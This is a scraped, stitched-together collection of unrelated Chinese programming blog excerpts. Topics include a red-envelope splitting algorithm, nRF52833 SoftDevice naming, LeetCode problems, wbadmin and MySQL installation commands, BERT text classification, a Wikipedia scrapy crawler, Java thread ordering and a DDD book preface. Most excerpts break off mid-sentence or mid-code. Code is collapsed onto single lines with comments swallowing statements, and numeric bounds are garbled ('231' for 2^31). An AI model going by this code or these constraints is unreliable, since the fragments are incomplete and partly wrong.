微信群又发红包了?让我先抢他一个亿。当抢红包我们大呼过瘾时,不如一起来看看隐藏其后的算法。
发出一个固定金额的红包,由若干个人来抢,需要满足哪些规则?
当然是如下了:
1.所有人抢到金额之和等于红包金额,不能超过,也不能少于。
2.每个人至少抢到一分钱。
3.要保证所有人抢到金额的几率相等。
我们可采用二倍均值法来随机取数,原理如下:
剩余红包金额为M,剩余人数为N,那么有如下公式:
每次抢到的金额 = 随机区间 (0, M / N X 2)
这个公式,保证了每次随机金额的平均值是相等的,不会因为抢红包的先后顺序而造成不公平。
举个栗子:
假设有10个人,红包总额100元。
100/10X2 = 20, 所以第一个人的随机范围是(0,20 ),平均可以抢到10元。
假设第一个人随机到10元,那么剩余金额是100-10 = 90 元。
90/9X2 = 20, 所以第二个人的随机范围同样是(0,20 ),平均可以抢到10元。
假设第二个人随机到10元,那么剩余金额是90-10 = 80 元。
80/8X2 = 20, 所以第三个人的随机范围同样是(0,20 ),平均可以抢到10元。
以此类推,每一次随机范围的均值是相等的。
下面我们用代码来分析一下:
#!user/bin/env python#-*- coding utf-8 -*-# author:liruikunimport random# summoney=input("please input the amount of money:")# divide_n=input("divide into?:")def hongbao(money,n):
k=n
sum=0#sum为前n个人抢得的总和,为了方便计算最后一个人的金额,初始值为0 round=n#剩余人次 while k>1:
current_money = money # 当前剩余的钱,初始值为money for i in range(1,n+1):
文章目录 一、SoftDevice命名规则(一)、通用规则(二)、特定规则 二、nRF52833关键特性三、SoftDevice目录框架四、代码目录框架五、应用代码结构六、内存分配表(一)、不带bootloader时的内存分配(二)、带bootloader时的内存分配 七、外设举例说明(一)、GPIO(二)、TWI(I2C/UART) 八、移植不同型号DK九、参考文档 刚开始可以先看这两篇文档,看懂了就不用看我写的了 😃 nRF5 SDK软件架构及softdevice工作原理 Nordic nRF5 SDK和softdevice介绍 一、SoftDevice命名规则 以Sxyz为例,其中S表示Software,各字母的含义如下所示。不同的协议栈的具体描述可见此处。
(一)、通用规则 x - 协议栈类型
1:BLE stack2:ANT stack3:BLE&ANT stack y - BLE角色
1:peripheral role2:central role3:all roles(central/peripheral/advertiser/observer) z - 系列芯片
0:nRF51 series2:nRF52 series3:misc series 例如S113代表的是 低功耗BLE协议栈,从设备,针对nRF52805, nRF52810, nRF52811, nRF52820, nRF52832, nRF52833 and nRF52840系列的SoC。
(二)、特定规则 x - 协议栈类型
同上
yz - 芯片型号
40:针对芯片52840 tips: S140是一个大而全的协议栈,包含蓝牙所有功能。
注意不同的softdevice所占用的ROM和RAM是不一样的,具体看其手册S112、S113、S122、S130、S132、S140、S212、S312、S332、S340…
图1-1 s113属性图 图1-2 s140属性图 二、nRF52833关键特性 该SoC主频为64MHz、内核为Arm Cortex-M4且带FPU。Flash大小为512KB,RAM大小为128KB。支持PHY为2 Mbps,1 Mbps, Long Range。支持蓝牙定位功能。支持低功耗蓝牙BLE、蓝牙Mesh组网、ANT、NFC、Thread和Zigbee协议。发射功率最大为+8dBm。支持CCM(CTR加密模式和CMAC认证算法的混合)模式的128-bit AES加密。支持的外设有UART, SPI, TWI(Two Wire Interface), PDM, HS-SPI, I2S, PWM, 12-bit ADC, USB 2.
项目介绍 该系统是一款线上购物系统,项目基于 ssm 框架开发、shiro 完成登入认证 授权, redis 实现购物车功能;
主要模块有:商品模块、购物车模块、订单模块、用户模块、管理员模块、评论留言模块等;
前台使用 bootstrap+layui+jQuery 实现,通过 ajax 完成前后台数据交互。
运行环境 jdk1.8+mysql5.6+IntelliJ IDEA+maven+redis
项目技术 spring+SpringMVC+mybatis搭建,使用shiro实现登入认证和授权,同时使用redis实现购物车功能;前台页面使用bootstrap3+jQuery实现、后台页面使用layui完成。
项目预览 1、项目首页
2、蔬菜列表
3、水果列表
4、商品详情
5、购物车列表
6、核对订单
7、订单支付
8、我的订单
9、我的账户
10、商品评论
11、登入、注册
关注微信公众号:幽灵邀请函 回复:绿色蔬果商城 获取项目源代码
两个整数之间的汉明距离指的是这两个数字对应二进制位不同的位置的数目。
给出两个整数 x 和 y,计算它们之间的汉明距离。
注意:
0 ≤ x, y < 231.
示例:
输入: x = 1, y = 4
输出: 2
解释:
1 (0 0 0 1)
4 (0 1 0 0)
↑ ↑
上面的箭头指出了对应二进制位不同的位置。
通过次数83,392提交次数106,673
/** * @param {number} x * @param {number} y * @return {number} */ var hammingDistance = function(x, y) { let res = 0; while(x !== 0 || y !== 0) { const bitx = x & 1; const bity = y & 1; if(bitx !
给定四个包含整数的数组列表 A , B , C , D ,计算有多少个元组 (i, j, k, l) ,使得 A[i] + B[j] + C[k] + D[l] = 0。
为了使问题简单化,所有的 A, B, C, D 具有相同的长度 N,且 0 ≤ N ≤ 500 。所有整数的范围在 -228 到 228 - 1 之间,最终结果不会超过 231 - 1 。
例如:
输入:
A = [ 1, 2]
B = [-2,-1]
C = [-1, 2]
D = [ 0, 2]
输出:
2
解释:
两个元组如下:
命令操作计划备份 语法
wbadmin enable backup -addtarget: {d61aa1e5-0000-0000-0000-000000000000} -schedule:11:00 -include:E: enable backup 启用备份
-addtarget 备份目标位置的磁盘卷,填写磁盘唯一标识符
-schedule 备份执行时间
-include 要备份哪个分区
-allcritical 包含系统磁盘分区卷 可选
注:如果想要晚上的2点30进行备份,需要写成 “02:30”,不能写成“2:30”,需要注意一下。
2.输入命令“wbadmin get disks”显示可用的磁盘,其中会显示磁盘的唯一标识符
启用“快速编辑模式”方便复制粘贴cmd中的命令
![
3.查看设置结果
4.为了演示效果,更改一下时间
注意要更改为以后的时间。
5.查看备份结果
6.模拟误删除进行恢复
使用命令“wbadmin get versions”显示可用的备份版本,使用备份唯一的标识符进行还原
(下面的命令是进行分区的恢复,备份的时候也要备份分区才行)
wbadmin start recovery -version:11/15/2020-18:00 -itemtype:volume -items:g: -recoverytarget:g:
-version 需要恢复的备份版本,填写备份版本唯一标识符
-itemtype 需要恢复的类型 volume app file
-items 包含在备份中的项目列表(备份的数据所在目录)
-recoverytarget 要还原到的目录(要还原的目录。)
计划任务自动备份
备份(这是另一种按计划任务备份的方法。和计划任务作用一样。)(上面的计划任务只能每天都进行备份,如果不希望备份很频繁的话,可以设置计划任务。设置每周日进行一次备份。)
1.取消之前的计划任务
查看盘符
2.建立一个备份脚调出后缀
新建一个文本文档
在c盘新建一个文本文档,命名为backup.txt,输入下面的内容
wbadmin start backup -backuptarget:f: -include:e: -quiet
将后缀改为bat
一、首先下载解压
1
2
wget http://dev.mysql.com/get/Downloads/MySQL-5.6/mysql-5.6.33-linux-glibc2.5-x86_64.tar.gz
mv mysql-5.6.33-linux-glibc2.5-x86_64 /usr/local/mysql
二、创建目录和用户
1.创建mysql目录
1
2
mkdir -p /mysql/data ---数据目录
mkdir -p /mysql/log ---日志目录
2.创建用户
1
2
groupadd mysql
useradd -r -g mysql mysql
三、创建my.cnf
创建my.cnf文件的目的主要是为了初始化时要用到它里面的一些配置
1
vim /etc/my.cnf
注意:如果系统中其它目录下还存在my.cnf文件请删除,可以用find查找一下
四、安装
1.安装插件
1
apt-get install libaio1
2.初始化
1
2
3
scripts/mysql_install_db --user=mysql --defaults-file=/etc/my.cnf --basedir=/usr/local/mysql --datadir=/mysql/data --innodb_undo_tablespaces=3 --explicit_defaults_for_timestamp
chown -R mysql:mysql /mysql/ usr/local/mysql
3.配置mysql启动服务
1
2
3
cp support-files/mysql.server /etc/init.d/mysql
chmod +x /etc/init.d/mysql
4.配置环境变量
C++中返回值为 类对象 详解
代码如下:
#include <iostream> using namespace std; //建一个Test类 class Test { public: Test() { a = 0; b = 0; cout << "无参构造函数被调用了" << endl; } Test(int aa, int bb) { a = aa; b = bb; cout << "有参构造函数被调用了" << endl; } Test(const Test& t) { a = t.a; b = t.b; cout << "复制构造函数被调用了" << endl; } void print() { cout << "a:" << a << endl << "
因为iOS可以直接在推送的时候后台设置角标,Android不行,所以在flutter里,设置角标还得在Android中,要不适配不了太多机型,我的思路就是在flutter中获取角标显示数量,然后在通过flutter传值到Android原生,在原生里去设置角标
首先在Android中创建一个角标的工具类
import android.app.Notification; import android.app.NotificationChannel; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.AsyncQueryHandler; import android.content.ComponentName; import android.content.ContentResolver; import android.content.ContentValues; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; import android.graphics.BitmapFactory; import android.net.Uri; import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.text.TextUtils; import android.util.Log; import androidx.core.app.NotificationCompat; import com.creaunion.cxxz.R; import com.example.flutter_app.MainActivity; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; public class AppShortCutUtil { public static int notificationId ; public static boolean setCount(final int count, final Context context) { if (count >= 0 && context !
vue监听localStorage 变化 应用示例:【页面B】需要实时获取【页面A】数据更改,页面必须是同源(即同一个域名,例如:都在https://www.baidu.com/域名下)
1.在【页面A】更改缓存页面进行缓存修改or插入缓存
localStorage.setItem('socketQuery', '插入1') 2.在【页面B】需要监听缓存值更改页面进行
mounted() { const that = this; //监听缓存中指定key的值变化 window.addEventListener('storage', function (e) { if(e.key && e.key == 'socketQuery' && e.newValue){ that.socketQuery = e.newValue //即可获取到【页面A】最新的socketQuery } }) }, 如上即可在【页面B】实时获取到【页面A】中数据。
题目 给定四个包含整数的数组列表 A , B , C , D ,计算有多少个元组 (i, j, k, l) ,使得 A[i] + B[j] + C[k] + D[l] = 0。
为了使问题简单化,所有的 A, B, C, D 具有相同的长度 N,且 0 ≤ N ≤ 500 。所有整数的范围在 -228 到 228 - 1 之间,最终结果不会超过 231 - 1 。
例如:
输入: A = [ 1, 2] B = [-2,-1] C = [-1, 2] D = [ 0, 2] 输出: 2 解释: 两个元组如下: 1.
允中 发自 凹非寺
量子位 编辑 | 公众号 QbitAI
假如问在深度学习实践中,最难的部分是什么?猜测80%的开发者都会说:
“当然是调参啊。”
为什么难呢?因为调参就像厨师根据食材找到了料理配方,药剂师根据药材找到了药方,充满了玄幻色彩。
但是,掌握了调参,顶多算深度学习的绝学掌握了一半。而另一半就是“模型部署”。
模型部署有什么难的?举个例子:前面这位大厨在培训学校,经过各种训练掌握了很多料理配方,终于要到酒店上任了,却发现酒店的厨房环境和训练时不一样,就餐高峰时手忙脚乱,客户等了1个小时还没上菜,结果第一天上岗就被投诉了。
虽然比喻略有夸张,却也道出了深度学习模型训练和推理部署的关系。
我们知道,深度学习一般分为训练和推理两个部分,训练是神经网络“学习”的过程,主要关注如何搜索和求解模型参数,发现训练数据中的规律。
有了训练好的模型之后,就要在线上环境中应用模型,实现对未知数据做出预测,这个过程在AI领域叫做推理。
在实际应用中,推理阶段可能会面临和训练时完全不一样的硬件环境,当然也对应着不一样的计算性能要求。我们训练得到的模型,需要能在具体生产环境中正确、高效地实现推理功能,完成上线部署。
所以,当我们千辛万苦训练好模型,终于要上线了,但这个时候可能会遇到各种问题,比如:
线上部署的硬件环境和训练时不同推理计算耗时太高, 可能造成服务不可用模型上的内存占用过高无法上线 对工业级部署而言,要求的条件往往非常繁多而且苛刻,不是每个深度学习框架都对实际生产部署上能有良好的支持。一款对推理支持完善的的框架,会让你的模型上线工作事半功倍。
飞桨作为源于产业实践的深度学习框架,在推理部署能力上有特别深厚的积累和打磨,提供了性能强劲、上手简单的服务器端推理库Paddle Inference,帮助用户摆脱各种上线部署的烦恼。
Paddle Inference是什么 飞桨框架的推理部署能力经过多个版本的升级迭代,形成了完善的推理库Paddle Inference。Paddle Inference功能特性丰富,性能优异,针对不同平台不同的应用场景进行了深度的适配优化,做到高吞吐、低时延,保证了飞桨模型在服务器端即训即用,快速部署。
Paddle Inference的高性能实现 内存/显存复用提升服务吞吐量 在推理初始化阶段,对模型中的OP输出Tensor 进行依赖分析,将两两互不依赖的Tensor在内存/显存空间上进行复用,进而增大计算并行量,提升服务吞吐量。
细粒度OP横向纵向融合减少计算量 在推理初始化阶段,按照已有的融合模式将模型中的多个OP融合成一个OP,减少了模型的计算量的同时,也减少了 Kernel Launch的次数,从而能提升推理性能。目前Paddle Inference支持的融合模式多达几十个。
内置高性能的CPU/GPU Kernel 内置同Intel、Nvidia共同打造的高性能kernel,保证了模型推理高性能的执行。
子图集成TensorRT加快GPU推理速度 Paddle Inference采用子图的形式集成TensorRT,针对GPU推理场景,TensorRT可对一些子图进行优化,包括OP的横向和纵向融合,过滤冗余的OP,并为OP自动选择最优的kernel,加快推理速度。
子图集成Paddle Lite轻量化推理引擎 Paddle Lite 是飞桨深度学习框架的一款轻量级、低框架开销的推理引擎,除了在移动端应用外,还可以使用服务器进行 Paddle Lite 推理。Paddle Inference采用子图的形式集成 Paddle Lite,以方便用户在服务器推理原有方式上稍加改动,即可开启 Paddle Lite 的推理能力,得到更快的推理速度。并且,使用 Paddle Lite 可支持在百度昆仑等高性能AI芯片上执行推理计算。
支持加载PaddleSlim量化压缩后的模型 PaddleSlim是飞桨深度学习模型压缩工具,Paddle Inference可联动PaddleSlim,支持加载量化、裁剪和蒸馏后的模型并部署,由此减小模型存储空间、减少计算占用内存、加快模型推理速度。其中在模型量化方面,Paddle Inference在X86 CPU上做了深度优化,常见分类模型的单线程性能可提升近3倍,ERNIE模型的单线程性能可提升2.68倍。
【性能测一测】通过比较resnet50和bert模型的训练前向耗时和推理耗时,可以观测到Paddle Inference有显著的加速效果。
说明:测试耗时的方法,使用相同的输入数据先空跑1000次,循环运行1000次,每次记录模型运行的耗时,最后计算出模型运行的平均耗时。
张逸
读完需要
5
分钟 速读仅需 2 分钟
述说撰写《解构领域驱动设计》一书的心路历程,三年磨一剑的认真态度与艰辛苦楚,如今写作完毕,也算是苦尽甘来。本书将由人民邮电出版社异步图书社区出版,敬请关注公众号的后续消息。
写下本书内容第一个字的具体时间已不可考,从文档创建的时间看,本书的写作至少可以追溯到2017年11月,屈指算来,距今已是三载光阴流逝而过,为了本书,我已算得上呕心沥血。回想这悠悠三年,无论在万米高空的飞行途中,还是在蔚蓝海边的栖息之旅,抑或工作之余正襟危坐书桌之前,我的心弦一刻不敢放松,沉思于体系的构建,纠结于案例的选择,锱铢必较于每个文字的运用,我力求输出最好的文本,希望打造领域驱动设计技术书籍的经典!
我在ThoughtWorks的前同事滕云开我的玩笑,说:“老人家,你写完这本书,也就功德圆满了!”老人家是我在ThoughtWorks的诨名,虽然我对此称呼一直敬谢不敏,不过写作此书至今,我已心力交瘁,老人家的称谓也算名实相副了,至于是否“功德圆满”,就要交给读者诸君来品评了。
本书内容主要来自我在GitChat发布的课程《领域驱动设计实践》。该课程历经两年,完成于2020年1月21日。当时的我,颇有感慨地写下如此后记:
课程写作结束了。战略篇一共 34 章,15 万 5 千字;战术篇一共 71 章,35 万 1 千字;合计 105 章,共 50 万 6 千余字,加上两篇开篇词与这篇可以称为写后感的后记,共108 章,算是凑齐了一百单八将。如此成果也足可慰藉我为之付出的两年多艰辛时光!
我对《领域驱动设计实践》课程的内容还算满意,然而,随着我对领域驱动设计理解的蜕变与升华,我的“野心”也在不断膨胀,不仅希望讲清楚该如何实践领域驱动设计,还企图对这套方法体系进行深层次的解构。这也是本书书名《解构领域驱动设计》得名的由来。
所谓“解构”,就是解析与重构:
解析,就是要做到知其然更知其所以然
重构,则要做到青出于蓝而胜于蓝
我钦佩并且尊敬Eric Evans对领域驱动设计革命性的创造,他对设计的洞见至今让我赞赏不已,尤其在我彻底吃透限界上下文的本质之后,结合微服务之大行其道,更让我彻底佩服他的远见卓识;然而,尊敬不是膜拜,佩服并非盲从,在实践领域驱动设计过程中,我确实发现了这套方法体系天生存在的不足,于是,我在本书提出了GitChat课程不曾涵盖的领域驱动设计统一过程(Domain-Driven Design Unified Process),相当于站在Eric Evans的巨人肩膀上,我构建了自己的一套领域驱动设计知识体系。
领域驱动设计统一过程的提出,从根基上改变了本书的结构,我调整和梳理了写作的脉络,呈现出与《领域驱动设计实践》课程迥然有别的全新面貌,整本书不再满足于粗略地将内容划分为战略篇和战术篇,而是在领域驱动设计统一过程的指导下,将该过程的全部三个阶段作为本书的三个核心篇章:全局分析、架构映射与领域建模,再辅以开篇和融合,共分为五篇二十五章,全面而完整地表达了我对领域驱动设计的全部认知与最佳实践。在对内容做进一步精简后,本书仍然达到了43万余字,算得上是软件技术类别的大部头著作了。
该如何阅读这样一本厚书?
若你时间足够充裕,又渴望彻底探索领域驱动设计的全貌,建议还是按部就班、循序渐进地开始你的阅读之旅。或许在阅读开篇的三个章节时,你会因为太多信息量的一次性涌入,产生迷惑、困扰和不解,那只是因为我期望率先为读者呈现领域驱动设计的整体面貌,在获得整体印象之后,哪怕只是在脑海中存留了如雾一般朦胧的轮廓,也足以指导你开启对设计细节的理解和认识。
若你追求高效阅读,又渴望寻求困惑于领域驱动设计问题的答案,当然可以根据目录按图索骥,精准定位你最为关心的技术讲解。或许你会失望,甚至产生质疑,从目录中你获得了太多全新的概念,而这些概念从未见诸于任何一本领域驱动设计的书籍,那只是因为这些概念都是我针对领域驱动设计提出的改进与补充,它们是我解构全新领域驱动设计知识体系的得意之笔。——要不然,一本技术书籍怎么会写三年之久呢?
我自鸣得意的开创性概念一一罗列于此:
业务活动:它是全局分析的基本业务单元,在统一语言的指导下完成对业务需求的抽象,既可帮助我们识别限界上下文,对它的细节分析还可以帮助开发团队开展领域分析建模、领域设计建模和领域实现建模;业务活动的粒度也是服务契约的粒度,由此拉近了需求分析与软件设计的距离,甚至可以说打通了需求分析与软件设计的鸿沟。
菱形对称架构:虽然该模式脱胎于整洁架构与六边形架构,但它更为简洁,与限界上下文的搭配可谓珠联璧合,既保证了限界上下文作为基本架构单元的自治性,又融入了上下文映射的通信模式,极大了丰富了设计元素的角色构造型。
场景驱动设计:采用过程式的设计思维,却又遵循面向对象的职责分配,从而在提高设计质量的同时降低了开发团队的设计门槛,完成了从领域分析模型到领域实现模型的无缝转换,并可作为测试驱动开发的前奏,让领域逻辑的实现变得更加稳健而高效。
以上概念皆为领域驱动设计统一过程的设计元素,同时又能与领域驱动设计的固有模式有机融合。至于我对软件复杂度成因的剖析,对价值需求和业务需求的划分,在领域驱动设计统一过程基础上建立的领域驱动设计魔方、参考过程模型与能力评估模型,诸多新概念、新方法、新模式、新体系虽说都出自我的一孔之见,但自觉可圈可点,确乎来自于我的一线实践和总结。至于内容的优劣,还是交给读者诸君来品判吧。
照例表示致谢!
感谢GitChat创始人谢工女士,没有她的支持与鼓励,就不会有《领域驱动设计实践》课程的诞生,自然不会让我下定决心撰写本书。感谢人民邮电出版社异步图书的杨海玲女士,是她的宽容与耐心,使得我能够有足够充裕的时间精心打磨本书的内容,没有因为错过最好的出版时间窗口,而催促我逼迫我尽快交稿。感谢京东周吉鑫、Amazon高翊凱 (Kim, Kao) 、腾讯王立、阿里蚂蚁金服于君泽(花名右军)与ThoughtWorks王威诸兄的抬爱,不仅拨冗为我的著作写序,也给予了许多好的建议与指点,提升了本书的整体质量。感谢阿里的彭佳斌(花名言武)、自主创业人张闯、中航信杨成科、工商银行劳永安,四位兄台作为本书试读的第一批读者,花费了大量时间认真阅读了我的初稿,提出了非常宝贵的反馈意见,帮助我订正了不少错误。感谢我的领域驱动设计技术交流群,近1500名群友的耐心等待以及坚持不懈的催促,使得我能够坚持写完本书。
之所以“三年磨一剑”,是希望通过我的努力让本书的质量对得起读者!可是,在态度上对得起读者的同时,我却对不起我生命中最重要的两个人:我的妻子漆茜与儿子张子瞻。这三年经历了风雨阳光,很遗憾,我把大部分业余时间都交给了《解构领域驱动设计》,多少个晚上笔耕不缀,妻子陪着儿子,我则陪着电脑。为了支持我的创作,没有怨怼,只有默默的支持。本书的出版,有他们一大半的功劳!最后,还要感谢我的父母,每次匆匆回家看望他们,极短的时间和他们聊天,挤出来的时间都留给本书的写作了!
在写作本篇前言的前一天,我偶然读到苏东坡的一首小词: 春未老,风细柳斜斜。试上超然台上看,半壕春水一城花。烟雨暗千家。
寒食后,酒醒却咨嗟。休对故人思故国,且将新火试新茶。诗酒趁年华。
蓦然内心被叩击,仿佛心弦被优美的辞章轻轻地带着诗意拨弄。吾身虽不能上超然台,然而书成之后,是否能够看到半壕春水一城花呢?未曾饮酒,却咨嗟,是否多情笑我早生华发?如今的我,已然焙出新火,恰当新火试新茶,却不知待到明年春未老时,能否做到何妨吟啸且徐行的落拓不羁?不管如何,还当诗酒趁年华,如此当——仰天大笑出门去,吾辈岂是蓬蒿人!
☼ 封面题图摄于二零二零年十月六日四川理县毕棚沟
- EOF -
想要加入中生代架构群的小伙伴,请添加群合伙人大白的微信
申请备注(姓名+公司+技术方向)才能通过哦!
领域驱动架构系列
Hacker News热文:请停止学习框架,学习领域驱动设计(DDD)(获500个点赞)
京东平台研发朱志国:领域驱动设计(DDD)理论启示
sql sever 2012安装时遇到“试图执行未经授权的操作” 这时候打开数据库SQL server2012安装目录的setup.exe,点击然后鼠标右键属性,点击打开然后点安全,如图
然后点编辑点第一个
再点击完全控制,给予权限完全控制就好了。
本文章属于原创,如需转载请标明。
使用bert的哈工大预训练模型进行中文/英文文本二分类,基于pytorch和transformer 前提简要介绍开始导入必要的包和环境准备并读取数据导入模型的tokenizer对数据进行tokenizer,也就是分片,并加入`[CLS]`、`[SEP]`等bert的默认标签对句子进行attention_mask:分割训练数据集和验证数据集,在这将90%的进行训练,10%进行验证转换为torch tensor:使用pytorch的dataloader帮助我们进行batch_size的划分和自动化输入 模型导入查看模型的参数: 准备模型优化器和计时函数:激动人心的模型训练!如果你能顺利运行到这一步,恭喜你已经训练好了属于你的模型!test数据集进行模型评估!test数据预处理完成后,开始测试验证总结 最近在弄与中文自然语言处理相关的内容,陆陆续续看了好多的教程,知道bert的效果相对比较好,后来找到了哈工大的中文预训练模型。但是作者就是不想说这个模型怎么用,说跟谷歌的预训练模型一样(但是谷歌的我也不会用),后来辗转找到了一篇非常不错的英文教程,想看英文文本分类的跟着这个教程就行。跟着它也终于把中文的文本分类基本搞定了,用的就是哈工大的模型。在这里就将其分享一下,之前也一直想着写博客,那就让这成为我的第一篇博客吧
前提 看这篇教程的前提:
你需要自己准备一个中文文本分类的数据集(因为我的项目暂时不能公开数据集),格式的话能用pandas读进去就行,excel、csv、tsv、等等的表格数据都行,格式要求自然是要有待分类的数据和分类标签了,下文会具体举例。至于怎么读进去,下文也会介绍。记住如果你准备好了,提前将其分为train.xxx和test.xxx,方便下文使用。(可选)最好能安装jupyter lab,如果你有谷歌的colab账号那就更加完美不过了,这样就能用到谷歌的免费GPU,而且本次教程也是基于谷歌的colab运行环境进行,至于怎么注册,就自己百度吧。如果在本地运行,你需要先安装好pytorch和transformer,在此都是基于最新版本,没有指定特殊的版本。这里只介绍2分类,但是扩展成多分类应该很简单,修改下模型参数就行,下文会介绍 简要介绍 bert在2018年被提出之后,刷榜了很多NLP任务,基本上是现阶段做NLP无法绕过的技术。在中文文本领域,目前做的比较好的是哈工大和百度的ERNIE,当然ERNIE也是基于bert来进行中文优化以及性能提升的,至于怎么用ERNIE,如果我搞清楚了还会继续写教程。
更多原理性的东西我不再赘述,写的比我好的一大堆,在这里我只探讨怎么使用bert的中文预训练模型来进行文本分类
开始 首先安装transformer并导入pythrch,并检测当前环境是否有GPU,剩余的实验均使用GPU进行加速,如果你没有GPU,那么把下文的.cuda 和 .device 去掉就行
导入必要的包和环境 ! pip3 install transformers ! pip3 install keras ! pip3 install tensorflow import torch # If there's a GPU available... if torch.cuda.is_available(): # Tell PyTorch to use the GPU. device = torch.device("cuda") print('There are %d GPU(s) available.' % torch.cuda.device_count()) print('We will use the GPU:', torch.cuda.get_device_name(0)) # If not... else: print('No GPU available, using the CPU instead.
中文维基百科数据爬取与预处理 前言:阅读本篇博文,您将学会如何使用scrapy框架并基于层次优先队列的网页爬虫以及维基页面的结构与半结构数据自动抽取。项目已经开源于GitHub地址:https://github.com/wjn1996/scrapy_for_zh_wiki,欢迎Star或提出PR。
维基百科(wikipedia) 是目前最大的开放式开放领域百科网站之一,包含包括英文、中文等多种语言。现如今在众多人工智能自然语言处理任务中均取自于维基百科,例如斯坦福大学开源的机器阅读理解评测数据集SQuAD1.1和SQuAD2.0的问答语料直接取自于维基百科;FreeBase世界知识库也直接由维基百科构建而成。维基百科之所以能够收到自然语言处理研究者们的关注,主要得益于维基百科的知识的齐全、丰富,且其来自于世界的各个专家、大众一同编辑而成,知识的准确率和细粒度得到一致的认可。
现阶段绝大多数的语料构建均为英文维基百科,而在英文语料上实现的功能或算法通常并不能完全兼容中文,同时调研了当前的已有方法也没有系统地同时对维基百科的页面爬取和处理两个关键步骤,本篇文章将提供一个中文维基百科的数据获取和预处理。
当然维基百科提供了wiki dumps开源语料库(https://dumps.wikimedia.org/zhwiki/),但事实上其包含的语料只有非结构化文本,而且不同领域的数据混杂在一起不适用于一些具体的任务应用上,因此本文决定以爬虫来获取数据。
本文的主要有以下三个部分
中文维基百科网页分析基于scrapy框架和层次优先队列的维基百科数据爬取维基页面的结构与半结构数据自动抽取 完成整个过程你需要拥有的配置包括:
编译环境需要有:python3+scrapy+numpy+tqdm+lxml需要能够访问中文维基百科(zh.wikipedia.org),如果无法完成访问的可以使用VPN或SSR工具;中文繁简转化包langconv 1、中文维基百科网页分析 维基百科网站页面除了一些网站必有的功能外,百科类的界面主要有两种,分别是:
分类页面: 对应的URL请求则属于分类请求;内容页面: 对应的URL请求则属于内容请求; 以计算机科学为例,其分类页面如图所示:
分类页面只会存在与该分类相关的关键词实体(下统一称作实体)的超链接URL请求,这些请求也主要分为分类请求和内容请求。对于分类请求则是下一个子类,而内容请求则是该对应实体的详细讲解页面。
分类请求的URL格式为
https://zh.wikipedia.org/wiki/Category:xxx 例如实体“计算机学科”的分类请求URL为:
https://zh.wikipedia.org/wiki/Category:计算机学科 可以发现,其请求链接中包含“Category:”子串,则在后期可以通过该子串来判断请求类型是否是分类请求;
内容请求则是显示实体的具体内容的页面,其URL请求格式为:
https://zh.wikipedia.org/wiki/xxx 例如实体“计算机学科”的内容请求URL为:
https://zh.wikipedia.org/wiki/计算机学科 如图所示,此时不是显示分类目录,而是具体的内容。
因此,本文主要以这两种请求,来实现对中文维基百科的爬取
2、基于scrapy框架和层次优先队列的维基百科数据爬取 维基百科收录的实体数量是百万千万级别的,我们不可能也无须全部爬取,因此如何从维基百科中爬取我们所需要的内容?现阶段有的GitHub提供的维基百科爬虫存在一些问题:
(1)爬虫完全开放式无约束:我们希望爬虫能够爬取我们需要的内容,而不是乱爬。例如如果我们爬取与计算机学科有关的内容,则爬虫不应该去花费时间和资源去爬取其他学科或领域的内容;
(2)大多数是基于深度优先搜素:深搜往往存在一个问题就是容易使得爬虫爬取到无关的页面,而且深搜往往是到终点(相当于树中的叶子结点)后才回溯,一旦错爬则越陷越深;
(3)在实际爬取中我们会发现爬虫很容易爬取到一些包括游戏、娱乐,或者是维基百科自带的一些用户中心、使用文档指南等等我们不希望获取的内容;
(4)有些没有优化的爬虫程序,可能忽略了同一请求的重复爬取问题。对于一些使用外网收费的渠道来访问维基百科的,是需要耗费大量的流量资金;
本文则从上面提到的分类请求和内容请求两个请求为切入点进行,通过维基百科天然的分类索引来约束我们目标爬取的内容;为了避免请求的重复爬取,以及传统深搜面临的问题,本文使用scrapy框架自主实现了层次优先队列的爬虫方法。也许有的读者会想scrapy或其他框架可能提供了自带的队列机制,为什么要自己实现?因为在具体爬取时,我们更希望能够随时初始化队列,且能够保存到本地,在下次爬取时则直接将保存的队列再次初始化,避免再次爬取已爬取的页面。
2.1 创建队列 python创建一个Queue类,该类用于保存候选请求队列(candidates)、已爬取的请求队列(has_viewd),
候选队列(candidates):爬虫程序运行初期,需要手动在里面添加一个爬虫入口请求(建议只放一个)。如果放置的请求时分类请求,则爬虫会根据子分类依次进行层次遍历;如果放置的是内容请求,则程序只爬取该内容页面后自动终止;本文的scrapy程序中设定对candidates队列的检测,如果为空则停止爬虫程序;已爬取队列(has_viewd):每次处理一个请求后(不论是分类请求还是内容请求),都会将这个请求加入到已爬取队列中,每次在处理一个请求时都会判断当前的请求是否在这个队列中,如果已存在则不再执行爬取,减少重复的流量资源和时间消耗; 队列类的源程序如下:
import numpy as np import os # made by wjn # homepage:www.wjn1996.cn class Queue(): candidates = [] # 保存候选的请求列表 has_viewd = [] # 保存已经被处理过的请求 save_every = 100 # has_viewd每100次执行一次保存 # 初始化时需要添加若干个入口请求 candidates.
线程顺序执行的四种方式 1、通过监测信号
每个线程对应自己的一个信号,监测到信号就执行,执行完就将信号更改为下一个线程的信号2、通过FutureTask可以阻塞获取返回值的特性
顺序开启线程并获取返回值,线程将依次执行,返回结果3、通过join()阻塞等待线程执行完
按线程执行顺序,依次join()进行阻塞4、通过单线程线程池特性
线程池中只有一个线程,任务会在队列中,按提交顺序依次执行 线程顺序执行的代码示例 public class ThreadOrder { public static List<Integer> list = new ArrayList<>(); public static void main(String[] args) { //1、通过监测信号 //每个线程对应自己的一个信号,监测到信号就执行,执行完就将信号更改为下一个线程的信号 Thread t11 = new Thread("通过监测信号 : 0"){ @Override public void run() { while (list.get(0) != 0){ try {Thread.sleep(500);}catch (Exception ignore){} } System.out.println(super.getName() + " : 执行任务"); list.remove(0); } }; Thread t12 = new Thread("通过监测信号 : 1"){ @Override public void run() { while (list.get(0) !
因为在application.yml里设置里redis的密码,虽然密码没值,但是在redisson的配置config会读取成空字符串导致连接不上,所以redis没有密码就去除application.yml配置文件中的redis的password这个key就好了,这样reidssion中配置的密码就是空,这样就ok了.众所周知,空值和空字符串意义不同
目录 直线实例 矩形实例VisualBrush实例:改变按钮颜色的透明度 椭圆 xaml绘图时矢量的。 绘图可以在任何一种布局控件中完成,wpf会根据容器计算相应坐标。最常用的是Canvas和Grid。
基本图形包括以下几个,都是Shaper类的派生类。
